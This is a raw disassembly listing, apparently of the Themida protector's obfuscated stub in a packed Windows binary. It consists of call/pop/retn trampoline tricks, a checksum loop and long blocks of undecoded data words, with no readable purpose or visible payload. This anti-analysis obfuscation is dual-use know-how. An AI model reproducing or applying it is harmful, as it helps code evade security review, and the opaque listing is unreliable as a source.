mov ebx, [ebp+6130571h]
loc_5CA8E6: ; CODE XREF: Themida_:005CA8F0j
lodsd
xor eax, edx
shr eax, 1
add edx, eax
sub ecx, 4
jnz short loc_5CA8E6
push 0
push ebx
call sub_5CA8FD
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CA8FD proc near ; CODE XREF: Themida_:005CA8F5p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 17h
inc ebx
push ebx
retn
sub_5CA8FD endp
; ---------------------------------------------------------------------------
mov esp, [esi]
or eax, 859D8B5Dh
add [ebx], edx
push es
push 0
push eax
call sub_5CA922
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CA922 proc near ; CODE XREF: Themida_:005CA91Ap
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_5CA922 endp
; ---------------------------------------------------------------------------
cld
push 7017AF46h
mov word ptr [eax+782ED0BBh], fs
add large ds:88h, cl
mov [ebp+6130B2Dh], esi
mov edx, [ebp+6131BBDh]
push 0
push esi
call sub_5CA95B
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CA95B proc near ; CODE XREF: Themida_:005CA953p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 19h
inc esi
push esi
retn
sub_5CA95B endp
; ---------------------------------------------------------------------------
db 65h
; ---------------------------------------------------------------------------
cmp ch, [edi-74294DC5h]
mov ebp, 61306E1h
mov ecx, [ebp+61318DDh]
push 0
push ecx
call sub_5CA988
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CA988 proc near ; CODE XREF: Themida_:005CA980p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 19h
inc ecx
push ecx
retn
sub_5CA988 endp
; ---------------------------------------------------------------------------
push edi
xor ds:8B26D940h, ah
mov ebp, 6130D91h
push eax
mov eax, edx
mov ebx, [eax]
add eax, ecx
mov ebx, [eax]
mov eax, ecx
shr eax, 1
add eax, edx
mov ebx, [eax]
pop eax
push 0
push ecx
call sub_5CA9C1
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CA9C1 proc near ; CODE XREF: Themida_:005CA9B9p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 16h
inc ecx
push ecx
retn
sub_5CA9C1 endp
; ---------------------------------------------------------------------------
db 0BAh, 16h, 64h
; ---------------------------------------------------------------------------
mov bx, 0CECh
pusha
mov [ebp+6131359h], eax
mov esi, [ebp+61322CDh]
popa
push 0
push ecx
call sub_5CA9F1
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CA9F1 proc near ; CODE XREF: Themida_:005CA9E9p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Dh
inc ecx
push ecx
retn
sub_5CA9F1 endp
; ---------------------------------------------------------------------------
db 1Ah, 61h, 29h
dd 0E5EFF549h, 83B75FFFh, 131D1DBDh, 840F0006h, 1Eh, 0B8h
dd 0DF816600h, 8D8D0DB0h, 6134F8Dh, 1059BD89h, 0E1FF0613h
dd 17059589h, 0BD830613h, 6133055h, 0A8840F00h, 83000004h
dd 133055BDh, 840F0106h, 4B6h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ch, 0CBC35141h, 7DF52700h, 25FBEA75h
dd 3055BD83h, 0F030613h, 44F86h, 1DBB6600h, 6A6049h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
dd 10C97BC3h, 0EAB33A2Bh, 80D98C66h, 0EF8104E1h, 2C332A0Eh
dd 840FC90Ah, 1C2h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ch, 0C7C35545h, 0C78E2C23h, 2E645665h, 0B8EB8166h
dd 0B9858B32h, 6A06132Bh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 15042444h, 45000000h, 4334C355h, 10E9h, 0D8341200h
dd 2B7F681Bh, 4766FC6Bh, 9DE1649Fh, 19D8B75h, 33061325h
dd 1305B985h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1904h, 0C3574700h, 2A8AA758h, 5250C454h, 0CE9h, 105A1300h
dd 0F3795A92h, 0B88AAD2Fh, 4895BD5h, 52006A24h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 6B8C89C7h
dd 6A1E794Fh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1A04h, 0C3514100h, 0C5AE8610h, 661538FCh, 89DFD381h
dd 4DCF8166h, 4E89Dh, 3FF0000h, 0BB66001Fh, 0F500C50h
dd 28Dh, 8B5B5700h, 0E8042444h, 8, 0B82E1046h, 2B6499B9h
dd 5BFA8B57h, 0E8008B5Fh, 0Eh, 659CEDD9h, 7ACC519Dh, 0AF49A07h
dd 10B7A3AAh, 2444895Fh, 0F525004h, 8E931h, 53160000h
dd 0CC1CDF00h, 585AAF57h, 53006A58h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 41683D29h
dd 0BD09EAFBh, 61319D1h, 6E9h, 178D700h, 5195CEC2h, 0D4EF8166h
dd 95FF5BC7h, 6130A3Dh, 0C4548589h, 0EF800616h, 1F1E96Dh
dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
dd 56460000h, 4F930CC3h, 0A4AABB91h, 858B3737h, 616C44Ch
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 5FC35545h
dd 99CD587Fh, 0CDC4D5D0h, 53C381CDh, 5000F35Fh, 0FE9h
dd 0FD245300h, 9A9A1520h, 85007989h, 0B4A89935h, 1800C75Bh
dd 31000000h, 1328C18Dh, 50B58B06h, 660616C4h, 8BA208BBh
dd 132A5585h, 6A068906h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 18042444h, 40000000h, 2B74C350h, 0FBB048Eh
dd 381h, 0FAB70F00h, 8B0Fh, 858B0000h, 6132BB9h, 1991BD09h
dd 0BD230613h, 61321FDh, 81044689h, 25A8E8F7h, 0FDB79622h
dd 6A9650h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
dd 55450000h, 660FDAC3h, 0FF682420h, 16C44CB5h, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
dd 142982FBh, 0A7AA96BAh, 0C2C3E068h, 9856BB4Fh, 34811530h
dd 0DDC01F24h, 57006A4Fh, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1D04h, 0C3574700h, 14398CF7h, 7A7E30CAh
dd 6E9DBE1h, 0D7000000h, 0DBD9AF48h, 54858D31h, 6A0616C4h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h
dd 45000000h, 7AA6C355h, 3622D379h, 6660904Fh, 0E8D241B8h
dd 0Eh, 5BF3E5BBh, 4328B0C2h, 4F69D768h, 52502197h, 585A310Fh
dd 6050615Bh, 0A3CEB850h, 615E35F8h, 5E990h, 93550000h
dd 89A7D2E6h, 1314A59Dh, 3D95FF06h, 6A06130Ah, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
dd 0F155C350h, 9B6A7Ah, 61A18357h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 19h, 76C35242h, 0F73B12C0h, 0D98B6616h
dd 0D3FBBB66h, 305585C7h, 30613h, 0BD2B0000h, 6132821h
dd 0C454BD83h, 0F000616h, 3F84h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0AFFAB7FEh
dd 0F605A7Bh, 2956CABFh, 1323E195h, 0E9615906h, 27h, 0DA5BD8Bh
dd 0B5310613h, 6130F01h, 110C3050h, 1114400h, 3010E8C1h
dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh
dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
dd 0EBE77504h, 6AC08B00h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 14042444h, 42000000h, 9B3C352h, 13117595h
dd 0F3816606h, 816610A4h, 0E948E9CFh, 12h, 7182F3D6h, 0D14E47DFh
dd 0A53D5409h, 5C4B77FDh, 0BD834E00h, 6133055h, 1850F03h
dd 6A000005h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 15042444h, 40000000h, 0B57CC350h, 0C454BD83h, 0F000616h
dd 4D784h, 0FE800h, 0EE450000h, 262ACC21h, 0FAD371CEh
dd 0DF0735D3h, 0F985311Dh, 5F061331h, 0FFF88B66h, 16C454B5h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h
dd 0C3564600h, 8248D4B4h, 94DDF7A8h, 95FF3118h, 6130969h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 23C35646h
dd 65C78E2Ch, 9E956h, 0F030000h, 1047A1E9h, 52369AF9h
dd 5BF98B66h, 0C448B58Bh, 6A0616h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 170424h, 50400000h, 0BFA507C3h, 10E967h
dd 0D5780000h, 7F1994DCh, 0FE9B3852h, 72D65A81h, 0F98B795Ch
dd 106C7h, 6E80001h, 0C6000000h, 650F2F65h, 0B59D892Eh
dd 5B06130Bh, 9E8h, 256D5B00h, 0A661A1BBh, 0B70F3779h
dd 57965BFBh, 505FDD8Ah, 2DBB6650h, 66965FBFh, 0FFC6B8BFh
dd 16C454B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1404h, 0C3574700h, 1D85018Eh, 66061306h, 2F12EB81h
dd 322995FFh, 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1D0424h, 56460000h, 1C2404C3h, 29E42DC3h, 8974C436h
dd 1311D9BDh, 48B58B06h, 6A0616C4h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 8BDCC352h
dd 13063185h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1804h, 0C3514100h, 38B64462h, 0C48689BFh, 8B000000h
dd 131BBD95h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1D04h, 0C3574700h, 972EC9C1h, 5347AA36h, 0C2835823h
dd 13E904h, 0DAF30000h, 724DEA2Fh, 0E9871161h, 0AA6FCBE9h
dd 85D9A96h, 2050891Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 17h, 71C35242h, 8B487C0Eh, 0B58B60D8h, 6130DD1h
dd 8FF897B8h, 858D6131h, 616D8E3h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 19h, 8EC35646h, 3CDED0BCh, 5E98BFD1h
dd 86892043h, 0B8h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 18h
dd 0B1C35040h, 0EF50BC0Eh, 0A35BD89h, 8D890613h, 6130E9Dh
dd 0BB66006Ah, 816607A1h, 0FF7FD1C3h, 16C454B5h, 68B0F06h
dd 8B000000h, 13197DBDh, 0FBBF0F06h, 1E9595FFh, 0CE90613h
dd 0DD000000h, 0AF72DB44h, 0D6C2B983h, 96EFA82Ah, 10E8h
dd 3668000h, 9B8ACE71h, 64696A60h, 0D219113Bh, 9EBB6630h
dd 0E8505FE2h, 0Fh, 5033E961h, 16B62A7Ch, 0EDAC77C8h, 0F04FC51h
dd 280h, 5FD88B00h, 0BE666096h, 0B8663AB1h, 0FF6190A5h
dd 16C454B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1A04h, 0C3524200h, 0FF7040C6h, 317D1D30h, 1329DD95h
dd 0DA8B6606h, 214595FFh, 8B660613h, 49BD8BDFh, 8306131Ah
dd 131495BDh, 840F0006h, 2Dh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ah, 3C35343h, 4CB9E559h, 0BF50A790h
dd 6425FB47h, 8A243489h, 54B5FFFDh, 6A0616C4h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
dd 2949C355h, 13248D85h, 0AD95FF06h, 0E9061305h, 11h, 2625A6A5h
dd 25E91BF7h, 890E7BFh, 0C168BDF7h, 54B5FF84h, 6A0616C4h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h
dd 47000000h, 1D86C357h, 9D8989E3h, 6131709h, 120995FFh
dd 6A0613h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
dd 52420000h, 4C561DC3h, 11BD8327h, 2061305h, 8E840Fh
dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
dd 50400000h, 0FE8D16C3h, 37B9FE83h, 0EE87Eh, 93FD0000h
dd 0F927B4CEh, 0A9FD0FB7h, 0CFE07DEEh, 68D0Fh, 890F0000h
dd 0
; ---------------------------------------------------------------------------
pop edi
mov eax, [ebp+6130F55h]
push 0
push esi
call sub_5CB402
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CB402 proc near ; CODE XREF: Themida_:005CB3FAp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 19h
inc esi
push esi
retn
sub_5CB402 endp
; ---------------------------------------------------------------------------
dw 171Fh
dd 0D586D9E0h, 0D6F38166h, 0C60Fh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 14h, 99C35646h, 1E5185C7h, 613h
dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
dd 52420000h, 0FBC66C3h, 687h, 58D8900h, 0BF06131Eh, 29294FB1h
dd 0FFF1C9E9h, 9D8B60FFh, 61319DDh, 5BDBD89h, 8B610613h
dd 50006AC1h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h
dd 0C3504000h, 145E1664h, 0A9858D71h, 0E806131Eh, 10h
dd 792C8457h, 0A8F978Dh, 193DA073h, 0FCB51C76h, 0C030BF66h
dd 61BB905Bh, 504F455Bh, 61DE8B60h, 52006A90h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 727E2C4h, 5DC38C61h
dd 0AAF38177h, 802A1227h, 6AA3C7h, 20859D89h, 6A0613h
dd 858DFC8Ah, 617F362h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 19h, 0E9C35747h, 7743C5CFh, 0DE841h, 61560000h
dd 8AE8F74Dh, 4B634D95h, 5BD878D8h, 23359D8Bh, 0C0830613h
dd 0E8806005h, 9061F5CAh, 6583BB50h, 66905EA1h, 6A2E16BBh
dd 998D8900h, 6A06130Ah, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1804h, 0C3554500h, 0CE97F6F4h, 0F195FFD0h
dd 23061307h, 1318D5BDh, 6A8D8D06h, 890616A3h, 1323219Dh
dd 0E8D1FF06h, 6, 0D20EEF58h, 0BB66205Fh, 835B2793h, 13173DBDh
dd 850F0106h, 68h, 9044BF66h, 6A026Ah, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0A2CD83C3h
dd 8087022Fh, 8B90B1D2h, 13308DBDh, 52509006h, 585A310Fh
dd 12E85050h, 0B6000000h, 58CEAF47h, 19B67732h, 31E521F9h
dd 0FED8A50h, 5B616033h, 9529905Bh, 613140Dh, 1E9595FFh
dd 9D890613h, 61318F9h, 0DEAE9h, 0E800h, 815D0000h, 17F36CEDh
dd 0D8BF0F06h, 8DFB8B66h, 168F5E85h, 6840F06h, 33000000h
dd 130DD9BDh, 0BB669006h, 6050AEBAh, 0C052BB66h, 8E0F51h
dd 58000000h, 0CE99061h, 97000000h, 126C7F9h, 3B035060h
dd 6448E3A6h, 35FFh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1D0424h, 52420000h, 0A7D9F3C3h, 89D4C335h
dd 6615D5E3h, 34ADDB81h, 258964h, 6A000000h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
dd 759AC351h, 0FFE31BA1h, 1316D985h, 7E806h, 20870000h
dd 0E68748BFh, 58B0F1Eh, 0BB000000h, 2C678D6h, 6AF98A5Bh
dd 50006AFFh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h
dd 0C3504000h, 50AD6D73h, 578BA8D6h, 0FFF95964h, 132101B5h
dd 0DABF0F06h, 31AD95FFh, 50E90613h, 0E8000001h, 9, 9716FF66h
dd 5FC523EEh, 0EF81667Dh, 0BB5B18FAh, 5EE3E36Fh, 0DE800B0h
dd 0DF000000h, 12969294h, 36DF1AA1h, 2CA5E262h, 895FDE8Ah
dd 1312DDBDh, 8B70E606h, 131CF5BDh, 8B71E406h, 130B759Dh
dd 0F613C06h, 10283h, 0DDBD2300h, 2B061301h, 130C559Dh
dd 0C8B60F06h, 0FE8h, 635D5700h, 6D5F351Bh, 4F19C4E1h
dd 15C77E47h, 5BDE8B51h, 6BA5Fh, 8B660000h, 89C18BFEh
dd 131571B5h, 4E8C106h, 0E2F766FCh, 2B3D8529h, 8D290613h
dd 6132051h, 0BD8BC82Bh, 61309C5h, 8589D18Bh, 6131B01h
dd 0A2E9h, 18D0F00h, 0F8000000h, 4C44858Bh, 0E7815F4Ch
dd 1E747A1Dh, 5207C083h, 9B58956h, 5B06130Ch, 0C0835Fh
dd 1985BD8Bh, 0D03B0613h, 0E830Fh, 95890000h, 61314E1h
dd 66E9h, 0FA8B6600h, 0FFFF8D8Bh, 13E8FFFFh, 0B9000000h
dd 0C351CA17h, 9A9E5FD0h, 6FE1C6D5h, 0C0F8FE60h, 81663784h
dd 5F468DC7h, 0F01E183h, 3684h, 13E900h, 2D370000h, 72370DB0h
dd 5CDB7EF3h, 0BF401B70h, 800A2AA8h, 0FFA5837Fh, 0FEFFFFFFh
dd 0D98531h, 95890613h, 5F4C4C44h, 3069BD0Bh, 0E90613h
dd 8D000000h, 176FDEB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1604h, 0C3564600h, 0BBA718FAh, 3004080Eh
dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
dd 53430000h, 667526C3h, 860FFB8Bh, 5, 38EF8166h, 0D7BB6604h
dd 0A995FFADh, 6A06130Dh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 19042444h, 42000000h, 9A08C352h, 8A2B001Fh
dd 3AF38166h, 0FE9B943h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 190424h, 53430000h, 7B3294C3h, 815F15FFh
dd 4447F8E3h, 0FCE1836Bh, 6800F50h, 31000000h, 130C31BDh
dd 6AFC5F06h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1B042444h, 46000000h, 4C8C356h, 20A38DCDh, 0C02BF57Bh
dd 0BAh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1404h, 0C3534300h, 0C233AD66h, 0D003E8D1h, 7504E983h
dd 57006AF4h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h
dd 0C3574700h, 0A1962311h, 9A86F476h, 8A0F07ADh, 6, 1D319D2Bh
dd 9D890613h, 61323B1h, 880Dh, 0CD858900h, 9061301h, 13063595h
dd 0BD958B06h, 6A06131Bh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 17042444h, 40000000h, 76B9C350h, 5E9C3FCh
dd 0B7000000h, 3D9EF83Ch, 0A519D8Bh, 8D8B0613h, 61318DDh
dd 9839CF81h, 8B5047E3h, 3188BC2h, 8B188BC1h, 3E8D1C1h
dd 58188BC2h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 15h, 50C35343h, 0DE9BCh, 56200000h, 0DF80AAE9h, 818CFF9Ch
dd 8934DED8h, 132A1995h, 0A1B58906h, 83061319h, 131D1DBDh
dd 840F0006h, 68h, 0DCEB8166h, 0B81Bh, 6A0000h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
dd 8611FEC3h, 600E2DDDh, 0D9BD8BA7h, 8D061309h, 134F8D8Dh
dd 0FFD98B06h, 50006AE1h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1504h, 0C3504000h, 830F47B5h, 8, 28C0Fh
dd 3B30000h, 3055BD83h, 0F000613h, 3C484h, 56006A00h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
dd 615F19B4h, 0D60E2BF4h, 0A59D8B0Eh, 83061330h, 133055BDh
dd 840F0106h, 3A8h, 3D1AFBBh, 55BD834Dh, 3061330h, 360860Fh
dd 840F0000h, 6, 14659D8Bh, 6A600613h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 662DC351h
dd 0BD31D98Ch, 6130FF9h, 6A04E180h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 912FC356h
dd 32649A57h, 40581C2Bh, 0DD953360h, 8B061324h, 1307C1BDh
dd 0C90A6106h, 116840Fh, 0F3800000h, 72DBF16h, 858B0610h
dd 6132BB9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Dh, 69C35040h, 911706C9h, 8368AFh, 9D8B51AFh, 6131DF5h
dd 0B985335Fh, 6A061305h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1A042444h, 42000000h, 8771C352h, 0C6404C89h
dd 6E890E6h, 82000000h, 0D8830087h
dd 2820F00h, 53000000h, 8B505F5Bh, 0B70F90D9h, 6A006ADEh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h
dd 43000000h, 0B8E7C353h, 617F8D68h, 81DE8AE6h, 84722404h
dd 0BD8B19BDh, 61324B1h, 0A3D95FFh, 6A0613h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 150424h, 53430000h, 8B8F73C3h
dd 548589FBh, 6A0616C4h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 15042444h, 46000000h, 767FC356h, 6890Fh
dd 9D8B0000h, 6132BB5h, 21E59D89h, 35E90613h, 0BF000001h
dd 27AE1CAEh, 0C44C858Bh, 81660616h, 99A86C3h, 1319D18Dh
dd 1800C706h, 89000000h, 1304DD8Dh, 50B58B06h, 6A0616C4h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h
dd 47000000h, 0A554C357h, 858B41EEh, 6132A55h, 0D519D89h
dd 6890613h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Dh, 6CC35343h, 0ABB33CA0h, 26025C2Dh, 8BDA8B56h, 132BB985h
dd 38F0F06h, 80000000h, 4689B1F7h, 0B5BD8B04h, 96061331h
dd 9AC2BF66h, 0AE950h, 57CA0000h, 3122840Dh, 0A43C2397h
dd 4CB5FF96h, 500616C4h, 0C0D9D8Bh, 0E85B0613h, 4, 1F03FFh
dd 5350DA8Bh, 0D9A624BBh, 448B5F01h, 0BA600424h, 146BB95Bh
dd 9F56BE66h, 50008B61h, 0DE852h, 0B58F0000h, 8CB30F6Dh
dd 0C7EB2E15h, 0BFC5E8B8h, 38881AC0h, 8B310F5Bh, 89585AFEh
dd 0B3042444h, 860F58D7h, 0Fh, 0AE9h, 20AEFB00h, 86646E9Ch
dd 8DC3C38Ah, 16C45485h, 0FBB70F06h, 7AB0BB50h, 4893BC4h
dd 3D95FF24h, 5206130Ah, 5BDBBF0Fh, 56006A61h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0B63C75h, 29D9CD18h
dd 305585C7h, 30613h, 0B5310000h, 6131FBDh, 0C454BD83h
dd 0F000616h, 6984h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1C04h, 0C3534300h, 1BAEC4A0h, 36D86996h
dd 0DF8B6625h, 56E98CB7h, 6A000000h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 563BC357h
dd 13E8h, 46011400h, 0BC62C0A6h, 1478D424h, 81FB16BBh
dd 0EE814A2Dh, 2F7E70BFh, 30505F6Ch, 4400110Ch, 0E8C10111h
dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
dd 11043001h, 7504E983h, 8B00EBE7h, 57006AC0h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 9B7B9E0Eh
dd 13B3C4D3h, 9D894316h, 6131CD9h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 18h, 4AC35141h, 1C48FE30h, 1B19BD8Bh
dd 0BD830613h, 6133055h, 91850F03h, 6A000004h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
dd 0CEECC355h, 2BFE659Fh, 0C454BD83h, 0F000616h, 46384h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h
dd 0C3574700h, 11E920E1h, 0AC000000h, 0DE7328C0h, 0A57FA2FDh
dd 92E231A7h, 4D9F6644h, 0C454B5FFh, 6A0616h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 170424h, 53430000h, 8AF105C3h
dd 0E38166F4h, 95FF3EF2h, 6130969h, 0C448B58Bh, 6A0616h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
dd 0F55B4CC3h, 15E68160h, 8B7D37F4h, 8B6661DAh, 106C7FBh
dd 6A000100h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 14042444h, 43000000h, 81E4C353h, 4EFC0FF3h, 14E85018h
dd 0E3000000h, 6C201EA3h, 0AF1EB8FDh, 0A7BA275Fh, 0FFA4F41Ch
dd 8BB42FC4h, 34895BD9h, 54B5FF24h, 660616C4h, 0FF6A54BFh
dd 13322995h, 14E806h, 45F30000h, 0DAD4BEBDh, 0FB360DAh
dd 0B173019h, 9CFAB2D7h, 895F4308h, 13093585h, 48B58B06h
dd 8B0616C4h, 13063185h, 0BE806h, 0B92D0000h, 56740744h
dd 0E37A7015h, 0FE8B66BCh, 39B5295Fh, 89061312h, 0C486h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h
dd 0C3564600h, 0BCE930EBh, 870Fh, 81660000h, 8BC63BCBh
dd 131BBD95h, 0DE8B6606h, 0F04C283h, 0B70FDFB7h, 205089FEh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 14C35141h
dd 0F8B70FDCh, 148ABF66h, 0D8E3858Dh, 6A0616h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
dd 463201C3h, 483FFE11h, 89DABF0Fh, 0B886h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
dd 0F13B84C4h, 0F9F96060h, 0D15BD89h, 6A0613h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0E7C35646h, 0C4C3A563h
dd 0D4F9EB81h, 0B5FF085Dh, 616C454h, 9595FFF8h, 8B06131Eh
dd 1325299Dh, 890F9606h, 4, 61585360h, 48E0F50h, 52000000h
dd 965F6160h, 0F19D8B60h, 6606130Ah, 0FC37E881h, 54B5FF61h
dd 6A0616C4h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1A042444h, 43000000h, 3CD4C353h, 7DDD9667h, 0A59D8B2Dh
dd 0FF061324h, 13214595h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 3A2E624Ah
dd 83D4915Ah, 131495BDh, 840F0006h, 1Ch, 1F37BB66h, 6E850h
dd 99FA0000h, 182C75A7h, 895FF98Ah, 9D8B2434h, 6131719h
dd 0C454B5FFh, 6A0616h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1B0424h, 55450000h, 877A4CC3h, 0E498FF48h, 14E8EAh
dd 950F0000h, 93D2FA70h, 0F25009B5h, 0E96FA035h, 7B9C3BC1h
dd 9D016E31h, 6130559h, 99BD8B5Fh, 0FF06130Ah, 1305AD95h
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h
dd 0C3504000h, 86EB1F2Bh, 0D9F7C487h, 0D381CD53h, 56CE275Ch
dd 0C454B5FFh, 9D8B0616h, 613051Dh, 120995FFh, 0BB660613h
dd 0BD8379D5h, 6130511h, 0C2840F02h, 6A000000h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
dd 591DC356h, 80AFF9EFh, 0E85F096Ah, 0Ah, 0A55F7D87h, 622F02C7h
dd 0B5318AA1h, 6132B35h, 14E85Fh, 11450000h, 59CAAF63h
dd 3637E17Eh, 509F138Ah, 307EC688h, 9D238082h, 6130A75h
dd 55858B5Fh, 6A06130Fh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1C042444h, 46000000h, 0C410C356h, 1DE9031Eh
dd 57D99E3Ch, 0C65B3AB7h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 150424h, 55450000h, 0FE4EDC3h, 0E8Fh, 0C8816000h
